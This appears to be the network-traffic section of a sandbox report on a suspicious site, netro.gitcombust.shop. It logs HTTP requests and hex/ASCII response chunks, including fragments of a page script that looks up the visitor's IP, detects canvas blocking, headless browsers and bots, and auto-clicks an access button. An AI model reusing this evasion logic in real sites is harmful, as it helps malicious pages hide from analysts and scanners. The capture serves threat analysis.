6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 72 6f 67 72 65 73 73 2d Data Ascii: 0px 10px rgba(0, 0, 0, 0.1);}h1 { color: #333; }p { font-size: 18px; color: #555; transition: opacity 0.5s ease-in-out; /* Smooth fade-out */}.hidden { opacity: 0; pointer-events: none;}.progress-
2025-04-02 23:18:06 UTC	30	IN	Data Raw: 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 61 39 65 3b 20 0d 0a 7d 0d 0a 0d 0a Data Ascii: ground-color: #005a9e; }
2025-04-02 23:18:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:05 UTC	543	OUT	GET /script.js HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://netro.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:06 UTC	1106	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 23:18:06 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close Cf-Ray: 92a40b20ab1b1016-EWR Server: cloudflare Cf-Cache-Status: REVALIDATED Access-Control-Allow-Origin: * Cache-Control: max-age=14400 Etag: W/"0x8DD5D7C0C04328D" Last-Modified: Fri, 07 Mar 2025 13:29:11 GMT Vary: Accept-Encoding Content-Md5: ik/hdPfUVQKmlpX5KgzdOQ== X-Frame-Options: DENY X-Ms-Request-Id: ce3253a6-601e-0039-5ef7-a303fc000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vwAQwgjWSGZy5RP5wr%2FM8DURC%2BrZSF%2FE7kzB66BLAxV27z88Rc0DP2dssk%2BfMzU%2FaIQs8OkTvhZneagTc6JyrugpJU4%2B8gMUMAcHw1%2F4HybAu%2B66lSwyK59twqLeVaLIVE9CdUllzNs%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=98252&min_rtt=97807&rtt_var=21086&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1115&delivery_rate=38086&cwnd=247&unsent_bytes=0&cid=1dccccf359ca4f4f&ts=703&x=0"
2025-04-02 23:18:06 UTC	263	IN	Data Raw: 66 36 35 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 55 73 65 72 49 50 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 65 73 70 6f 6e 73 65 20 3d 20 61 77 61 69 74 20 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 61 70 69 36 34 2e 69 70 69 66 79 2e 6f 72 67 3f 66 6f 72 6d 61 74 3d 6a 73 6f 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 64 61 74 61 20 3d 20 61 77 61 69 74 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 61 74 61 2e 69 70 3b 0d 0a 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 72 72 6f 72 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 49 Data Ascii: f65async function getUserIP() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('Failed to get I
2025-04-02 23:18:06 UTC	1369	IN	Data Raw: 6f 72 29 3b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 27 30 2e 30 2e 30 2e 30 27 3b 20 2f 2f 20 44 65 66 61 75 6c 74 20 49 50 20 69 6e 20 63 61 73 65 20 6f 66 20 65 72 72 6f 72 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 e2 9c 85 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 44 65 74 65 63 74 20 43 61 6e 76 61 73 20 46 69 6e 67 65 72 70 72 69 6e 74 69 6e 67 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 43 61 6e 76 61 73 42 6c 6f 63 6b 65 64 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 61 6e 76 61 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 74 78 20 3d 20 63 61 6e 76 61 73 2e 67 65 74 43 Data Ascii: or); return '0.0.0.0'; // Default IP in case of error }}// Function to Detect Canvas Fingerprintingfunction isCanvasBlocked() { try { const canvas = document.createElement("canvas"); const ctx = canvas.getC
2025-04-02 23:18:06 UTC	1369	IN	Data Raw: 73 42 6f 74 55 73 65 72 41 67 65 6e 74 20 7c 7c 20 28 69 73 48 65 61 64 6c 65 73 73 20 26 26 20 69 73 53 75 73 70 69 63 69 6f 75 73 45 78 65 63 75 74 69 6f 6e 29 3b 0d 0a 7d 0d 0a 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 4c 6f 61 64 69 6e 67 28 29 20 7b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 70 72 6f 67 72 65 73 73 2d 63 6f 6e 74 61 69 6e 65 72 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0d 0a 20 20 20 20 6c 65 74 20 70 72 6f 63 65 73 73 69 6e 67 54 65 78 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 70 72 6f 63 65 73 73 69 6e 67 54 65 78 74 27 29 3b 0d 0a 0d 0a 20 20 20 20 6c 65 74 20 69 73 42 6f 74 Data Ascii: sBotUserAgent \|\| (isHeadless && isSuspiciousExecution);}async function startLoading() { document.querySelector('.progress-container').style.display = 'block'; let processingText = document.getElementById('processingText'); let isBot
2025-04-02 23:18:06 UTC	947	IN	Data Raw: 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 28 29 20 3d 3e 20 7b 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 20 61 63 63 65 73 73 42 74 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 61 63 63 65 73 73 42 74 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 27 62 6c 6f 63 6b 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 42 75 74 74 6f 6e 20 64 65 74 65 63 74 65 64 2e 20 43 6c 69 63 6b 69 6e 67 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2e 2e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 63 63 65 73 73 42 74 6e 2e 63 6c 69 63 6b Data Ascii: tationObserver(() => { let accessBtn = document.getElementById('accessBtn'); if (accessBtn && accessBtn.style.display === 'block') { console.log(" Button detected. Clicking automatically..."); accessBtn.click
2025-04-02 23:18:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:06 UTC	605	OUT	GET /favicon.ico HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://netro.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:07 UTC	1014	IN	HTTP/1.1 404 Not Found Date: Wed, 02 Apr 2025 23:18:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 92a40b26ac837c93-EWR Server: cloudflare Cf-Cache-Status: EXPIRED Access-Control-Allow-Origin: * Cache-Control: max-age=14400 Vary: Accept-Encoding X-Frame-Options: DENY X-Ms-Error-Code: WebContentNotFound X-Ms-Request-Id: 2f562eae-d01e-0061-5e25-a4dba3000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=78v7gUnqEBi0C3x9woRsrZqVo0pHX8lablwAzw5Ca00CiitcBhKNt91zFGl0B2j2ForlJCKLIDpmiSa8xVPUrhuAcIe%2FqX458OsKzV1M6YbE%2FzsVBh9uJ0Eusevb5geXbXOHK07ivqY%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99175&min_rtt=97695&rtt_var=22074&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1177&delivery_rate=38081&cwnd=231&unsent_bytes=0&cid=ddcbbfa514eab0f4&ts=759&x=0"
2025-04-02 23:18:07 UTC	328	IN	Data Raw: 31 34 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 6e 74 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 68 31 3e 3c 70 3e 3c 75 6c 3e 3c 6c 69 3e 48 74 74 70 53 74 61 74 75 73 43 6f 64 65 3a 20 34 30 34 3c 2f 6c 69 3e 3c 6c 69 3e 45 72 72 6f 72 43 6f 64 65 3a 20 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 6c 69 3e 3c 6c 69 3e 52 65 71 75 65 73 74 49 64 20 3a 20 32 66 35 36 32 65 61 65 2d 64 30 31 65 2d 30 30 36 31 2d 35 65 32 35 2d 61 34 64 62 61 33 30 30 30 30 30 30 3c 2f 6c 69 3e 3c Data Ascii: 141<!DOCTYPE html><html><head><title>WebContentNotFound</title></head><body><h1>The requested content does not exist.</h1><p><ul><li>HttpStatusCode: 404</li><li>ErrorCode: WebContentNotFound</li><li>RequestId : 2f562eae-d01e-0061-5e25-a4dba3000000</li><
2025-04-02 23:18:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:06 UTC	539	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:07 UTC	927	IN	HTTP/1.1 302 Found Date: Wed, 02 Apr 2025 23:18:07 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Y96c04tAq7z15tMP2%2FESad3JftS5Sk5fzYd0gz9MzvWwFL%2FulF49k%2Fs8SMq9KPUQI6czGPhwqWL7FuucDKdCRQ3B7EzLOVduo20Pmex7Ykah9V4UsnouOAvm1mKd5Tp%2FjLtEqR%2Bwnk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92a40b26da5fdd37-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=98520&min_rtt=98097&rtt_var=21357&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1111&delivery_rate=37397&cwnd=245&unsent_bytes=0&cid=46c03e7f189fb127&ts=250&x=0"

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:07 UTC	557	OUT	GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js? HTTP/1.1 Host: netro.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:07 UTC	906	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 23:18:07 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8377 Connection: close Cf-Ray: 92a40b29a8c9c8c6-EWR Server: cloudflare Cache-Control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public X-Content-Type-Options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=azg%2FzlPsZG49r7Lpdb4RTxV%2BQ0wOjrcJZUe91J7%2B68xz29EZXlw9bVitWt2UNJllr0hlNHiFt%2Fk3fp5HUpcNDaUpKwrSEVCSF07TupMkX0ouz8eDCWAary0bqSM5F0%2BxtB8KJjmoAt0%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=97090&min_rtt=96915&rtt_var=20710&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1129&delivery_rate=38227&cwnd=239&unsent_bytes=0&cid=4ead520680ab6d44&ts=256&x=0"
2025-04-02 23:18:07 UTC	463	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 67 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 57 2c 68 2c 69 2c 6e 2c 6f 2c 79 2c 7a 2c 42 29 7b 57 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 56 2c 65 2c 66 29 7b 66 6f 72 28 56 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 56 28 32 39 34 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 33 34 33 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 56 28 33 34 30 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 39 36 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 56 28 32 36 33 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 36 37 29 29 2f 36 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 33 32 33 29 29 2f 37 2b 70 61 72 Data Ascii: window._cf_chl_opt={cFPWv:'g'};~function(W,h,i,n,o,y,z,B){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=parseInt(V(294))/1+-parseInt(V(343))/2(parseInt(V(340))/3)+-parseInt(V(296))/4(parseInt(V(263))/5)+-parseInt(V(267))/6+-parseInt(V(323))/7+par
2025-04-02 23:18:07 UTC	1369	IN	Data Raw: 2c 6e 5b 57 28 32 36 30 29 5d 3d 27 49 27 2c 6e 5b 57 28 33 36 34 29 5d 3d 27 62 27 2c 6f 3d 6e 2c 68 5b 57 28 32 36 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 2c 48 2c 61 38 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 29 7b 69 66 28 61 38 3d 57 2c 6e 75 6c 6c 3d 3d 3d 46 7c 7c 76 6f 69 64 20 30 3d 3d 3d 46 29 72 65 74 75 72 6e 20 48 3b 66 6f 72 28 4a 3d 78 28 46 29 2c 45 5b 61 38 28 33 35 33 29 5d 5b 61 38 28 32 38 35 29 5d 26 26 28 4a 3d 4a 5b 61 38 28 33 30 31 29 5d 28 45 5b 61 38 28 33 35 33 29 5d 5b 61 38 28 32 38 35 29 5d 28 46 29 29 29 2c 4a 3d 45 5b 61 38 28 32 37 38 29 5d 5b 61 38 28 33 33 38 29 5d 26 26 45 5b 61 38 28 33 35 38 29 5d 3f 45 5b 61 38 28 32 37 38 29 5d 5b 61 38 28 33 33 38 29 5d 28 6e 65 77 20 45 5b 28 61 38 28 33 35 38 29 29 5d Data Ascii: ,n[W(260)]='I',n[W(364)]='b',o=n,h[W(266)]=function(E,F,G,H,a8,J,K,L,M,N,O){if(a8=W,null===F\|\|void 0===F)return H;for(J=x(F),E[a8(353)][a8(285)]&&(J=J[a8(301)](E[a8(353)][a8(285)](F))),J=E[a8(278)][a8(338)]&&E[a8(358)]?E[a8(278)][a8(338)](new E[(a8(358))]
2025-04-02 23:18:07 UTC	1369	IN	Data Raw: 5d 5b 61 65 28 33 36 33 29 5d 28 49 2c 54 29 29 4b 3d 54 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 61 65 28 33 31 32 29 5d 5b 61 65 28 32 35 39 29 5d 5b 61 65 28 33 36 33 29 5d 28 4a 2c 4b 29 29 7b 69 66 28 32 35 36 3e 4b 5b 61 65 28 32 38 39 29 5d 28 30 29 29 7b 66 6f 72 28 48 3d 30 3b 48 3c 4e 3b 50 3c 3c 3d 31 2c 46 2d 31 3d 3d 51 3f 28 51 3d 30 2c 4f 5b 61 65 28 33 34 34 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 48 2b 2b 29 3b 66 6f 72 28 55 3d 4b 5b 61 65 28 32 38 39 29 5d 28 30 29 2c 48 3d 30 3b 38 3e 48 3b 50 3d 31 26 55 7c 50 3c 3c 31 2c 46 2d 31 3d 3d 51 3f 28 51 3d 30 2c 4f 5b 61 65 28 33 34 34 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3e 3e 3d 31 2c 48 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 55 3d 31 2c 48 3d Data Ascii: ][ae(363)](I,T))K=T;else{if(Object[ae(312)][ae(259)][ae(363)](J,K)){if(256>K[ae(289)](0)){for(H=0;H<N;P<<=1,F-1==Q?(Q=0,O[ae(344)](G(P)),P=0):Q++,H++);for(U=K[ae(289)](0),H=0;8>H;P=1&U\|P<<1,F-1==Q?(Q=0,O[ae(344)](G(P)),P=0):Q++,U>>=1,H++);}else{for(U=1,H=
2025-04-02 23:18:07 UTC	1369	IN	Data Raw: 69 28 45 5b 61 66 28 33 31 31 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 46 2c 61 67 29 7b 72 65 74 75 72 6e 20 61 67 3d 61 66 2c 45 5b 61 67 28 32 38 39 29 5d 28 46 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 2c 61 68 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 53 2c 55 2c 54 29 7b 66 6f 72 28 61 68 3d 61 63 2c 48 3d 5b 5d 2c 49 3d 34 2c 4a 3d 34 2c 4b 3d 33 2c 4c 3d 5b 5d 2c 4f 3d 47 28 30 29 2c 50 3d 46 2c 51 3d 31 2c 4d 3d 30 3b 33 3e 4d 3b 48 5b 4d 5d 3d 4d 2c 4d 2b 3d 31 29 3b 66 6f 72 28 52 3d 30 2c 53 3d 4d 61 74 68 5b 61 68 28 32 37 31 29 5d 28 32 2c 32 29 2c 4e 3d 31 3b 53 21 3d 4e 3b 54 3d 4f 26 50 2c 50 3e 3e 3d 31 2c 50 3d 3d 30 26 26 28 50 3d 46 2c 4f 3d 47 28 51 2b 2b 29 29 2c 52 Data Ascii: i(E[af(311)],32768,function(F,ag){return ag=af,E[ag(289)](F)})},'i':function(E,F,G,ah,H,I,J,K,L,M,N,O,P,Q,R,S,U,T){for(ah=ac,H=[],I=4,J=4,K=3,L=[],O=G(0),P=F,Q=1,M=0;3>M;H[M]=M,M+=1);for(R=0,S=Math[ah(271)](2,2),N=1;S!=N;T=O&P,P>>=1,P==0&&(P=F,O=G(Q++)),R
2025-04-02 23:18:07 UTC	1369	IN	Data Raw: 5b 66 5d 2c 68 7d 2c 62 28 63 2c 64 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 61 6d 29 7b 72 65 74 75 72 6e 20 61 6d 3d 27 6c 6f 61 64 69 6e 67 2c 63 61 6c 6c 2c 62 6f 6f 6c 65 61 6e 2c 71 69 54 75 32 2c 74 69 6d 65 6f 75 74 2c 63 68 6c 41 70 69 52 75 6d 57 69 64 67 65 74 41 67 65 4d 73 2c 68 74 74 70 2d 63 6f 64 65 3a 2c 66 6c 6f 6f 72 2c 2f 62 2f 6f 76 31 2f 30 2e 33 32 39 32 34 33 34 35 32 35 38 37 30 34 32 34 3a 31 37 34 33 36 33 35 34 32 31 3a 37 74 6f 57 32 43 32 42 30 36 6b 6a 39 5f 4c 31 68 73 46 56 6b 51 56 35 33 72 59 41 70 36 67 74 69 61 56 51 45 79 44 4f 31 5f 49 2f 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 2c 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2c 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 62 69 67 69 6e 74 2c 6a 73 64 2c 63 6c 6f Data Ascii: [f],h},b(c,d)}function a(am){return am='loading,call,boolean,qiTu2,timeout,chlApiRumWidgetAgeMs,http-code:,floor,/b/ov1/0.3292434525870424:1743635421:7toW2C2B06kj9_L1hsFVkQV53rYAp6gtiaVQEyDO1_I/,addEventListener,contentWindow,hasOwnProperty,bigint,jsd,clo
2025-04-02 23:18:07 UTC	1369	IN	Data Raw: 70 6c 69 74 2c 4f 62 6a 65 63 74 2c 66 72 6f 6d 43 68 61 72 43 6f 64 65 2c 6f 6e 6c 6f 61 64 2c 6f 62 6a 65 63 74 2c 65 72 72 6f 72 20 6f 6e 20 63 66 5f 63 68 6c 5f 70 72 6f 70 73 2c 53 65 74 2c 72 65 61 64 79 53 74 61 74 65 2c 66 75 6e 63 74 69 6f 6e 2c 64 65 74 61 69 6c 27 2e 73 70 6c 69 74 28 27 2c 27 29 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 6d 7d 2c 61 28 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 62 2c 66 2c 45 2c 46 2c 47 2c 48 29 7b 61 62 3d 57 3b 74 72 79 7b 72 65 74 75 72 6e 20 66 3d 69 5b 61 62 28 33 31 35 29 5d 28 61 62 28 33 31 39 29 29 2c 66 5b 61 62 28 33 31 37 29 5d 3d 61 62 28 33 34 37 29 2c 66 5b 61 62 28 33 34 32 29 5d 3d 27 2d 31 27 2c 69 5b 61 62 28 32 38 33 29 5d 5b 61 62 28 33 32 36 29 5d 28 66 29 2c 45 3d Data Ascii: plit,Object,fromCharCode,onload,object,error on cf_chl_props,Set,readyState,function,detail'.split(','),a=function(){return am},a()}function A(ab,f,E,F,G,H){ab=W;try{return f=i[ab(315)](ab(319)),f[ab(317)]=ab(347),f[ab(342)]='-1',i[ab(283)][ab(326)](f),E=
2025-04-02 23:18:07 UTC	105	IN	Data Raw: 5b 61 6c 28 33 33 37 29 5d 3d 65 2e 72 2c 46 5b 61 6c 28 33 30 32 29 5d 3d 61 6c 28 33 33 32 29 2c 68 5b 61 6c 28 33 34 39 29 5d 5b 61 6c 28 33 32 39 29 5d 28 46 2c 27 2a 27 29 29 3a 28 47 3d 7b 7d 2c 47 5b 61 6c 28 33 34 38 29 5d 3d 45 2c 47 5b 61 6c 28 33 33 37 29 5d 3d 65 2e 72 2c 47 5b 61 6c 28 33 30 32 29 5d Data Ascii: [al(337)]=e.r,F[al(302)]=al(332),h[al(349)][al(329)](F,'*')):(G={},G[al(348)]=E,G[al(337)]=e.r,G[al(302)]
2025-04-02 23:18:07 UTC	964	IN	Data Raw: 3d 61 6c 28 32 37 30 29 2c 47 5b 61 6c 28 33 36 31 29 5d 3d 66 2c 68 5b 61 6c 28 33 34 39 29 5d 5b 61 6c 28 33 32 39 29 5d 28 47 2c 27 2a 27 29 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 45 2c 46 2c 61 35 2c 47 29 7b 61 35 3d 57 3b 74 72 79 7b 72 65 74 75 72 6e 20 45 5b 46 5d 5b 61 35 28 33 30 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 2c 27 70 27 7d 63 61 74 63 68 28 48 29 7b 7d 74 72 79 7b 69 66 28 6e 75 6c 6c 3d 3d 45 5b 46 5d 29 72 65 74 75 72 6e 20 45 5b 46 5d 3d 3d 3d 76 6f 69 64 20 30 3f 27 75 27 3a 27 78 27 7d 63 61 74 63 68 28 49 29 7b 72 65 74 75 72 6e 27 69 27 7d 72 65 74 75 72 6e 20 65 5b 61 35 28 32 37 38 29 5d 5b 61 35 28 33 32 34 29 5d 28 45 5b 46 5d 29 3f 27 61 27 3a 45 5b 46 5d 3d 3d 3d 65 5b 61 35 28 32 37 38 29 5d 3f 27 71 30 Data Ascii: =al(270),G[al(361)]=f,h[al(349)][al(329)](G,'*'))}function v(e,E,F,a5,G){a5=W;try{return E[F][a5(304)](function(){}),'p'}catch(H){}try{if(null==E[F])return E[F]===void 0?'u':'x'}catch(I){return'i'}return e[a5(278)][a5(324)](E[F])?'a':E[F]===e[a5(278)]?'q0

Timestamp	Bytes transferred	Direction	Data
2025-04-02 23:18:08 UTC	554	OUT	OPTIONS /report/v4?s=78v7gUnqEBi0C3x9woRsrZqVo0pHX8lablwAzw5Ca00CiitcBhKNt91zFGl0B2j2ForlJCKLIDpmiSa8xVPUrhuAcIe%2FqX458OsKzV1M6YbE%2FzsVBh9uJ0Eusevb5geXbXOHK07ivqY%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://netro.gitcombust.shop Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-02 23:18:08 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 02 Apr 2025 23:18:08 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
